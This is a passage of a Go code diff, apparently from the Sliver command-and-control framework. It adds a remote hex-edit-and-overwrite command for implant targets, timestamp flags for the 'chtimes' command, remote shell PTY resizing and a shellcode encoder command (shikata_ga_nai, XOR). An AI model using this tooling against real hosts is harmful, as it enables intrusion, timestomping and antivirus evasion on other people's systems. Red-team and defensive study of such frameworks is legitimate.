+func hexNibble(r rune) (byte, bool) {
+	switch {
+	case r >= '0' && r <= '9':
+		return byte(r - '0'), true
+	case r >= 'a' && r <= 'f':
+		return byte(r-'a') + 10, true
+	case r >= 'A' && r <= 'F':
+		return byte(r-'A') + 10, true
+	}
+	return 0, false
+}
+
+func isNumericOffset(value string) bool {
+	value = strings.TrimSpace(value)
+	if value == "" {
+		return false
+	}
+	if strings.HasPrefix(strings.ToLower(value), "0x") {
+		_, err := strconv.ParseInt(value, 0, 64)
+		return err == nil
+	}
+	for _, r := range value {
+		if r < '0' || r > '9' {
+			return false
+		}
+	}
+	return true
+}
+
+func popRune(value string) string {
+	runes := []rune(value)
+	if len(runes) == 0 {
+		return value
+	}
+	return string(runes[:len(runes)-1])
+}
+
+func baseName(path string) string {
+	if path == "" {
+		return ""
+	}
+	clean := strings.ReplaceAll(path, "\\", "/")
+	if idx := strings.LastIndex(clean, "/"); idx != -1 {
+		return clean[idx+1:]
+	}
+	return path
+}

client/command/hexedit/hexedit.go

@@ -0,0 +1,349 @@
+package hexedit
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/command/filesystem"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/forms"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+	"github.com/bishopfox/sliver/util/encoders"
+	tea "github.com/charmbracelet/bubbletea"
+	"github.com/spf13/cobra"
+	"google.golang.org/protobuf/proto"
+)
+
+const (
+	beaconPollInterval = 1 * time.Second
+)
+
+// HexEditCmd downloads a remote file, opens it in a hex editor, and optionally uploads changes.
+func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	remotePath := strings.TrimSpace(args[0])
+	if remotePath == "" {
+		con.PrintErrorf("Missing parameter: remote path\n")
+		return
+	}
+
+	maxSizeStr, _ := cmd.Flags().GetString("max-size")
+	maxSize, err := parseByteSize(maxSizeStr)
+	if err != nil {
+		con.PrintErrorf("Invalid --max-size %q: %s\n", maxSizeStr, err)
+		return
+	}
+	if maxSize <= 0 {
+		con.PrintErrorf("--max-size must be greater than zero\n")
+		return
+	}
+
+	offset, _ := cmd.Flags().GetInt64("offset")
+	if offset < 0 {
+		con.PrintErrorf("--offset must be zero or positive\n")
+		return
+	}
+
+	fetchSize := maxSize + 1
+	if fetchSize < maxSize {
+		fetchSize = maxSize
+	}
+
+	ctx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
+	download, err := downloadRemote(ctx, con, cmd, remotePath, fetchSize)
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+	if !download.Exists {
+		con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
+		return
+	}
+	if download.IsDir {
+		con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
+		return
+	}
+
+	data := download.Data
+	if download.Encoder == "gzip" {
+		data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("Decoding failed %s\n", err)
+			return
+		}
+	}
+
+	if int64(len(data)) > maxSize {
+		con.PrintErrorf("Remote file size %s exceeds --max-size %s\n", util.ByteCountBinary(int64(len(data))), util.ByteCountBinary(maxSize))
+		return
+	}
+
+	if offset > 0 {
+		if len(data) == 0 {
+			con.PrintErrorf("Offset %d out of range for empty file\n", offset)
+			return
+		}
+		if offset >= int64(len(data)) {
+			con.PrintErrorf("Offset %d out of range (file size %d bytes)\n", offset, len(data))
+			return
+		}
+	}
+
+	path := download.Path
+	if path == "" {
+		path = remotePath
+	}
+
+	for {
+		result, err := runHexEditor(data, path, int(offset))
+		if err != nil {
+			con.PrintErrorf("Editor error: %s\n", err)
+			return
+		}
+		data = result.Data
+
+		if result.Action == actionNone {
+			return
+		}
+
+		if !result.Modified {
+			if result.Action == actionSaveQuit {
+				con.PrintInfof("No changes to upload for %s\n", path)
+			}
+			return
+		}
+
+		switch result.Action {
+		case actionSaveQuit:
+			uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			if !uploadNow {
+				keepEditing, err := confirm("Continue editing?")
+				if err != nil {
+					con.PrintErrorf("%s\n", err)
+					return
+				}
+				if keepEditing {
+					continue
+				}
+				return
+			}
+
+			if err := uploadEditedContent(cmd, con, path, data); err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+			return
+		case actionQuit:
+			if result.Force {
+				return
+			}
+			discard, err := confirm("Discard changes?")
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			if discard {
+				return
+			}
+		}
+	}
+}
+
+func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
+	model := newEditorModel(data, filename, offset)
+	program := tea.NewProgram(model, tea.WithAltScreen())
+	finalModel, err := program.Run()
+	if err != nil {
+		return editorResult{}, err
+	}
+	editor, ok := finalModel.(*editorModel)
+	if !ok {
+		return editorResult{}, fmt.Errorf("unexpected editor state")
+	}
+	return editor.result(), nil
+}
+
+func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string, maxBytes int64) (*sliverpb.Download, error) {
+	download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
+		Request:          con.ActiveTarget.Request(cmd),
+		Path:             path,
+		RestrictedToFile: true,
+		MaxBytes:         maxBytes,
+	})
+	if err != nil {
+		return nil, err
+	}
+	if download.Response != nil && download.Response.Async {
+		taskID := download.Response.TaskID
+		download = &sliverpb.Download{}
+		if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
+			return nil, err
+		}
+	}
+	return download, nil
+}
+
+func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
+	ctx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	uploadData, err := new(encoders.Gzip).Encode(data)
+	if err != nil {
+		return err
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
+	upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
+		Request:     con.ActiveTarget.Request(cmd),
+		Path:        path,
+		Data:        uploadData,
+		Encoder:     "gzip",
+		IsDirectory: false,
+		Overwrite:   true,
+	})
+	if err == nil && upload.Response != nil && upload.Response.Async {
+		taskID := upload.Response.TaskID
+		upload = &sliverpb.Upload{}
+		err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
+	}
+	ctrl <- true
+	<-ctrl
+
+	if err != nil {
+		return err
+	}
+	filesystem.PrintUpload(upload, con)
+	return nil
+}
+
+func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
+	task, err := waitForBeaconTask(ctx, con, taskID)
+	if err != nil {
+		return err
+	}
+	state := strings.ToLower(task.State)
+	if state != "completed" {
+		if state == "" {
+			state = "unknown"
+		}
+		return fmt.Errorf("beacon task %s %s", task.ID, state)
+	}
+	if len(task.Response) == 0 {
+		return fmt.Errorf("beacon task %s returned empty response", task.ID)
+	}
+	return proto.Unmarshal(task.Response, out)
+}
+
+func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
+	ticker := time.NewTicker(beaconPollInterval)
+	defer ticker.Stop()
+
+	for {
+		task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
+		if err != nil {
+			return nil, err
+		}
+		state := strings.ToLower(task.State)
+		if state == "completed" || state == "failed" || state == "canceled" {
+			return task, nil
+		}
+		select {
+		case <-ctx.Done():
+			return nil, ctx.Err()
+		case <-ticker.C:
+		}
+	}
+}
+
+func confirm(title string) (bool, error) {
+	answer := false
+	if err := forms.Confirm(title, &answer); err != nil {
+		if errors.Is(err, forms.ErrUserAborted) {
+			return false, nil
+		}
+		return false, err
+	}
+	return answer, nil
+}
+
+func parseByteSize(input string) (int64, error) {
+	value := strings.TrimSpace(input)
+	if value == "" {
+		return 0, fmt.Errorf("size is required")
+	}
+	value = strings.ReplaceAll(value, " ", "")
+	value = strings.ToUpper(value)
+
+	idx := 0
+	for idx < len(value) {
+		c := value[idx]
+		if (c >= '0' && c <= '9') || c == '.' {
+			idx++
+			continue
+		}
+		break
+	}
+	if idx == 0 {
+		return 0, fmt.Errorf("invalid size %q", input)
+	}
+
+	numStr := value[:idx]
+	unitStr := strings.TrimSpace(value[idx:])
+	if unitStr == "" {
+		unitStr = "B"
+	}
+
+	multiplier := int64(1)
+	switch unitStr {
+	case "B":
+		multiplier = 1
+	case "K", "KB", "KIB":
+		multiplier = 1024
+	case "M", "MB", "MIB":
+		multiplier = 1024 * 1024
+	case "G", "GB", "GIB":
+		multiplier = 1024 * 1024 * 1024
+	case "T", "TB", "TIB":
+		multiplier = 1024 * 1024 * 1024 * 1024
+	default:
+		return 0, fmt.Errorf("unknown size unit %q", unitStr)
+	}
+
+	numVal, err := strconv.ParseFloat(numStr, 64)
+	if err != nil {
+		return 0, fmt.Errorf("invalid size %q", input)
+	}
+	if numVal <= 0 {
+		return 0, fmt.Errorf("size must be greater than zero")
+	}
+
+	size := int64(numVal * float64(multiplier))
+	if size <= 0 {
+		return 0, fmt.Errorf("size is out of range")
+	}
+	return size, nil
+}

client/command/jobs/wg.go

@@ -32,12 +32,13 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
 	nport, _ := cmd.Flags().GetUint32("nport")
 	keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
 
-	con.PrintInfof("Starting Wireguard listener ...\n")
+	con.PrintInfof("Starting Wireguard listener (udp:%d, tcp-comms:%d, key-exchange:%d) ...\n", lport, nport, keyExchangePort)
 	wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
 		Port:    lport,
 		NPort:   nport,
 		KeyPort: keyExchangePort,
 	})
+	con.Println()
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 	} else {

client/command/privilege/commands.go

@@ -150,11 +150,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 	}
 	flags.Bind("", false, chtimesCmd, func(f *pflag.FlagSet) {
 		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+		f.Bool("unix", false, "interpret timestamps as Unix seconds")
+		f.Bool("unix-ms", false, "interpret timestamps as Unix milliseconds")
+		f.Bool("rfc3339", false, "interpret timestamps as RFC3339")
+		f.Bool("rfc1123", false, "interpret timestamps as RFC1123")
 	})
 	carapace.Gen(chtimesCmd).PositionalCompletion(
 		carapace.ActionValues().Usage("path to file to change access timestamps"),
-		carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"),
-		carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"),
+		carapace.ActionValues().Usage("last accessed time (default: 2006-01-02 15:04:05; see --help for format flags)"),
+		carapace.ActionValues().Usage("last modified time (default: 2006-01-02 15:04:05; see --help for format flags)"),
 	)
 
 	getprivsCmd := &cobra.Command{

client/command/server.go

@@ -46,6 +46,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/reaction"
 	"github.com/bishopfox/sliver/client/command/sessions"
 	"github.com/bishopfox/sliver/client/command/settings"
+	shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
 	sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
 	"github.com/bishopfox/sliver/client/command/socks"
 	"github.com/bishopfox/sliver/client/command/taskmany"
@@ -69,6 +70,10 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
 				HiddenDefaultCmd: true,
 			},
 		}
+		if !con.IsCLI {
+			server.SilenceErrors = true
+			server.SilenceUsage = true
+		}
 
 		// Utility function to be used for binding new commands to
 		// the sliver menu: call the function with the name of the
@@ -103,7 +108,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
 			crack.Commands,
 			certificates.Commands,
 			clean.Command,
-      aka.ServerCommands,
+			aka.ServerCommands,
 		)
 
 		// C2 Network
@@ -119,6 +124,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
 		// Payloads
 		bind(consts.PayloadsHelpGroup,
 			sgn.Commands,
+			shellcodeencoders.Commands,
 			generate.Commands,
 			builders.Commands,
 		)

client/command/shell/resize_unix.go

@@ -0,0 +1,97 @@
+//go:build !windows
+
+package shell
+
+import (
+	"context"
+	"os"
+	"os/signal"
+	"sync"
+	"syscall"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+	"google.golang.org/grpc/codes"
+	"google.golang.org/grpc/status"
+)
+
+func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
+	if con == nil || con.Rpc == nil {
+		return func() {}
+	}
+
+	stdoutFd := int(os.Stdout.Fd())
+	stdinFd := int(os.Stdin.Fd())
+	if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
+		return func() {}
+	}
+
+	sigCh := make(chan os.Signal, 1)
+	signal.Notify(sigCh, syscall.SIGWINCH)
+
+	stopCh := make(chan struct{})
+	doneCh := make(chan struct{})
+
+	go func() {
+		defer close(doneCh)
+
+		lastCols, lastRows := -1, -1
+		send := func() bool {
+			cols, rows, err := term.GetSize(stdoutFd)
+			if err != nil || cols <= 0 || rows <= 0 {
+				cols, rows, err = term.GetSize(stdinFd)
+			}
+			if err != nil || cols <= 0 || rows <= 0 {
+				return true
+			}
+			if cols == lastCols && rows == lastRows {
+				return true
+			}
+			lastCols, lastRows = cols, rows
+
+			req := con.ActiveTarget.Request(cmd)
+			if req == nil {
+				return false
+			}
+			req.Timeout = int64(2 * time.Second)
+
+			_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
+				Request:  req,
+				TunnelID: tunnelID,
+				Rows:     uint32(rows),
+				Cols:     uint32(cols),
+			})
+			if status.Code(err) == codes.Unimplemented {
+				return false
+			}
+			return true
+		}
+
+		if !send() {
+			return
+		}
+
+		for {
+			select {
+			case <-stopCh:
+				return
+			case <-sigCh:
+				if !send() {
+					return
+				}
+			}
+		}
+	}()
+
+	var once sync.Once
+	return func() {
+		once.Do(func() {
+			signal.Stop(sigCh)
+			close(stopCh)
+			<-doneCh
+		})
+	}
+}

client/command/shell/resize_windows.go

@@ -0,0 +1,93 @@
+//go:build windows
+
+package shell
+
+import (
+	"context"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+	"google.golang.org/grpc/codes"
+	"google.golang.org/grpc/status"
+	"os"
+	"sync"
+	"time"
+)
+
+func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
+	if con == nil || con.Rpc == nil {
+		return func() {}
+	}
+
+	stdoutFd := int(os.Stdout.Fd())
+	stdinFd := int(os.Stdin.Fd())
+	if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
+		return func() {}
+	}
+
+	stopCh := make(chan struct{})
+	doneCh := make(chan struct{})
+
+	go func() {
+		defer close(doneCh)
+
+		ticker := time.NewTicker(250 * time.Millisecond)
+		defer ticker.Stop()
+
+		lastCols, lastRows := -1, -1
+		send := func() bool {
+			cols, rows, err := term.GetSize(stdoutFd)
+			if err != nil || cols <= 0 || rows <= 0 {
+				cols, rows, err = term.GetSize(stdinFd)
+			}
+			if err != nil || cols <= 0 || rows <= 0 {
+				return true
+			}
+			if cols == lastCols && rows == lastRows {
+				return true
+			}
+			lastCols, lastRows = cols, rows
+
+			req := con.ActiveTarget.Request(cmd)
+			if req == nil {
+				return false
+			}
+			req.Timeout = int64(2 * time.Second)
+
+			_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
+				Request:  req,
+				TunnelID: tunnelID,
+				Rows:     uint32(rows),
+				Cols:     uint32(cols),
+			})
+			if status.Code(err) == codes.Unimplemented {
+				return false
+			}
+			return true
+		}
+
+		if !send() {
+			return
+		}
+
+		for {
+			select {
+			case <-stopCh:
+				return
+			case <-ticker.C:
+				if !send() {
+					return
+				}
+			}
+		}
+	}()
+
+	var once sync.Once
+	return func() {
+		once.Do(func() {
+			close(stopCh)
+			<-doneCh
+		})
+	}
+}

client/command/shell/shell.go

@@ -84,10 +84,25 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
 	// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
 	tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
 
+	var rows uint32
+	var cols uint32
+	if !noPty {
+		colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
+		if err != nil || rowsInt <= 0 || colsInt <= 0 {
+			colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
+		}
+		if err == nil && rowsInt > 0 && colsInt > 0 {
+			rows = uint32(rowsInt)
+			cols = uint32(colsInt)
+		}
+	}
+
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(cmd),
 		Path:      shellPath,
 		EnablePTY: !noPty,
+		Rows:      rows,
+		Cols:      cols,
 		TunnelID:  tunnel.ID,
 	})
 	if err != nil {
@@ -120,6 +135,12 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
 		}
 	}
 
+	stopPtyResize := func() {}
+	if !noPty {
+		stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
+	}
+	defer stopPtyResize()
+
 	log.Printf("Starting stdin/stdout shell ...")
 	go func() {
 		n, err := io.Copy(os.Stdout, tunnel)

client/command/shellcode-encoders/commands.go

@@ -0,0 +1,55 @@
+package shellcodeencoders
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the shellcode-encoders command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	shellcodeEncodersCmd := &cobra.Command{
+		Use:   consts.ShellcodeEncodersStr,
+		Short: "List supported shellcode encoders",
+		Long:  help.GetHelpFor([]string{consts.ShellcodeEncodersStr}),
+		Args:  cobra.NoArgs,
+		Run: func(cmd *cobra.Command, args []string) {
+			ShellcodeEncodersCmd(cmd, con, args)
+		},
+		GroupID: consts.PayloadsHelpGroup,
+	}
+	flags.Bind("shellcode-encoders", false, shellcodeEncodersCmd, func(f *pflag.FlagSet) {
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	shellcodeEncodersEncodeCmd := &cobra.Command{
+		Use:   "encode <shellcode file>...",
+		Short: "Encode shellcode using server encoders",
+		Long:  help.GetHelpFor([]string{consts.ShellcodeEncodersStr, "encode"}),
+		Args:  cobra.MinimumNArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			ShellcodeEncodersEncodeCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("shellcode-encoders encode", false, shellcodeEncodersEncodeCmd, func(f *pflag.FlagSet) {
+		f.StringP("encoder", "e", "", "encoder to use (shikata_ga_nai, xor, xor_dynamic)")
+		f.StringP("arch", "a", "amd64", "architecture of the shellcode")
+		f.IntP("iterations", "i", 1, "number of encoding iterations")
+		f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)")
+		f.StringP("output", "o", "", "output file (or directory when encoding multiple files)")
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	flags.BindFlagCompletions(shellcodeEncodersEncodeCmd, func(comp *carapace.ActionMap) {
+		(*comp)["encoder"] = ShellcodeEncoderNameCompleter(con)
+		(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
+		(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
+	})
+	carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
+	shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
+
+	return []*cobra.Command{shellcodeEncodersCmd}
+}

client/command/shellcode-encoders/encode.go

@@ -0,0 +1,166 @@
+package shellcodeencoders
+
+import (
+	"encoding/hex"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/spf13/cobra"
+)
+
+// ShellcodeEncodersEncodeCmd - Encode shellcode files with server encoders.
+func ShellcodeEncodersEncodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	encoderFlag, _ := cmd.Flags().GetString("encoder")
+	if strings.TrimSpace(encoderFlag) == "" {
+		con.PrintErrorf("Encoder is required (use --encoder). See %s for options.\n", consts.ShellcodeEncodersStr)
+		return
+	}
+
+	encoderName := normalizeShellcodeEncoderName(encoderFlag)
+	encoderEnum, ok := shellcodeEncoderEnum(encoderName)
+	if !ok {
+		con.PrintErrorf("Unknown encoder %q (see %s for supported encoders)\n", encoderFlag, consts.ShellcodeEncodersStr)
+		return
+	}
+
+	archFlag, _ := cmd.Flags().GetString("arch")
+	arch := normalizeShellcodeArch(archFlag)
+	if arch == "" {
+		arch = "amd64"
+	}
+
+	iterations, _ := cmd.Flags().GetInt("iterations")
+	if iterations <= 0 {
+		iterations = 1
+	}
+
+	badCharsRaw, _ := cmd.Flags().GetString("bad-chars")
+	badChars, err := decodeHexBytes("bad-chars", badCharsRaw)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	output, _ := cmd.Flags().GetString("output")
+	outputInfo, err := outputInfoForArgs(output, len(args))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	hadError := false
+	for _, path := range args {
+		data, err := os.ReadFile(path)
+		if err != nil {
+			con.PrintErrorf("Failed to read %s: %s\n", path, err)
+			hadError = true
+			continue
+		}
+
+		resp, err := con.Rpc.ShellcodeEncoder(grpcCtx, &clientpb.ShellcodeEncodeReq{
+			Encoder:      encoderEnum,
+			Architecture: arch,
+			Iterations:   uint32(iterations),
+			BadChars:     badChars,
+			Data:         data,
+			Request:      con.ActiveTarget.Request(cmd),
+		})
+		if err != nil {
+			con.PrintErrorf("Failed to encode %s: %s\n", path, err)
+			hadError = true
+			continue
+		}
+		if resp.GetResponse() != nil && resp.GetResponse().GetErr() != "" {
+			con.PrintErrorf("Failed to encode %s: %s\n", path, resp.GetResponse().GetErr())
+			hadError = true
+			continue
+		}
+
+		outputPath, err := resolveOutputPath(path, output, outputInfo, encoderName, len(args) > 1)
+		if err != nil {
+			con.PrintErrorf("Failed to write %s: %s\n", path, err)
+			hadError = true
+			continue
+		}
+
+		if err := os.WriteFile(outputPath, resp.Data, 0o644); err != nil {
+			con.PrintErrorf("Failed to write %s: %s\n", outputPath, err)
+			hadError = true
+			continue
+		}
+
+		con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputPath, len(resp.Data))
+	}
+
+	if hadError {
+		con.PrintWarnf("One or more files failed to encode\n")
+	}
+}
+
+func decodeHexBytes(label string, raw string) ([]byte, error) {
+	trimmed := strings.TrimSpace(raw)
+	trimmed = strings.TrimPrefix(trimmed, "0x")
+	trimmed = strings.TrimPrefix(trimmed, "0X")
+	trimmed = strings.ReplaceAll(trimmed, " ", "")
+	if trimmed == "" {
+		return nil, nil
+	}
+	data, err := hex.DecodeString(trimmed)
+	if err != nil {
+		return nil, fmt.Errorf("%s must be hex encoded: %w", label, err)
+	}
+	return data, nil
+}
+
+func outputInfoForArgs(output string, argCount int) (os.FileInfo, error) {
+	if output == "" {
+		return nil, nil
+	}
+	info, err := os.Stat(output)
+	if err != nil {
+		if os.IsNotExist(err) {
+			if argCount > 1 {
+				if mkErr := os.MkdirAll(output, 0o755); mkErr != nil {
+					return nil, fmt.Errorf("failed to create output directory %s: %w", output, mkErr)
+				}
+				info, err = os.Stat(output)
+				if err != nil {
+					return nil, fmt.Errorf("failed to stat output directory %s: %w", output, err)
+				}
+				return info, nil
+			}
+			return nil, nil
+		}
+		return nil, err
+	}
+	if argCount > 1 && !info.IsDir() {
+		return nil, fmt.Errorf("output must be a directory when encoding multiple files")
+	}
+	return info, nil
+}
+
+func resolveOutputPath(inputPath string, output string, outputInfo os.FileInfo, encoderName string, multiple bool) (string, error) {
+	suffix := "." + strings.ReplaceAll(encoderName, "_", "-")
+	base := filepath.Base(inputPath)
+	if output == "" {
+		return filepath.Join(filepath.Dir(inputPath), base+suffix), nil
+	}
+	if multiple {
+		if outputInfo == nil || !outputInfo.IsDir() {
+			return "", fmt.Errorf("output must be a directory when encoding multiple files")
+		}
+		return filepath.Join(output, base+suffix), nil
+	}
+	if outputInfo != nil && outputInfo.IsDir() {
+		return filepath.Join(output, base+suffix), nil
+	}
+	return output, nil
+}

client/command/shellcode-encoders/helpers.go

@@ -0,0 +1,103 @@
+package shellcodeencoders
+
+import (
+	"fmt"
+	"sort"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/rsteube/carapace"
+)
+
+var shellcodeEncoderNameToEnum = map[string]clientpb.ShellcodeEncoder{
+	"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+	"xor":            clientpb.ShellcodeEncoder_XOR,
+	"xor_dynamic":    clientpb.ShellcodeEncoder_XOR_DYNAMIC,
+}
+
+func normalizeShellcodeEncoderName(name string) string {
+	normalized := strings.ToLower(strings.TrimSpace(name))
+	normalized = strings.ReplaceAll(normalized, "-", "_")
+	return normalized
+}
+
+func normalizeShellcodeArch(arch string) string {
+	normalized := strings.ToLower(strings.TrimSpace(arch))
+	switch normalized {
+	case "amd64", "x64", "x86_64":
+		return "amd64"
+	case "386", "x86", "i386":
+		return "386"
+	case "arm64", "aarch64":
+		return "arm64"
+	default:
+		return normalized
+	}
+}
+
+func shellcodeEncoderEnum(name string) (clientpb.ShellcodeEncoder, bool) {
+	normalized := normalizeShellcodeEncoderName(name)
+	encoder, ok := shellcodeEncoderNameToEnum[normalized]
+	return encoder, ok
+}
+
+func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
+}
+
+// ShellcodeEncoderNameCompleter returns available encoder names with supported arches.
+func ShellcodeEncoderNameCompleter(con *console.SliverClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		encoderMap, err := fetchShellcodeEncoderMap(con)
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
+		}
+
+		nameArchs := map[string][]string{}
+		for arch, archMap := range encoderMap.GetEncoders() {
+			if archMap == nil {
+				continue
+			}
+			for name := range archMap.GetEncoders() {
+				nameArchs[name] = append(nameArchs[name], arch)
+			}
+		}
+
+		names := make([]string, 0, len(nameArchs))
+		for name := range nameArchs {
+			names = append(names, name)
+		}
+		sort.Strings(names)
+
+		results := []string{}
+		for _, name := range names {
+			arches := nameArchs[name]
+			sort.Strings(arches)
+			desc := fmt.Sprintf("(%s)", strings.Join(arches, ", "))
+			results = append(results, name, desc)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("shellcode encoders")
+	})
+}
+
+// ShellcodeEncoderArchCompleter returns available architectures.
+func ShellcodeEncoderArchCompleter(con *console.SliverClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		encoderMap, err := fetchShellcodeEncoderMap(con)
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
+		}
+
+		arches := make([]string, 0, len(encoderMap.GetEncoders()))
+		for arch := range encoderMap.GetEncoders() {
+			arches = append(arches, arch)
+		}
+		sort.Strings(arches)
+		return carapace.ActionValues(arches...).Tag("shellcode architectures")
+	})
+}

client/command/shellcode-encoders/shellcode-encoders.go

@@ -0,0 +1,65 @@
+package shellcodeencoders
+
+import (
+	"sort"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+)
+
+// ShellcodeEncodersCmd - Display supported shellcode encoders and architectures.
+func ShellcodeEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	encoderMap, err := con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	DisplayShellcodeEncoders(encoderMap, con)
+}
+
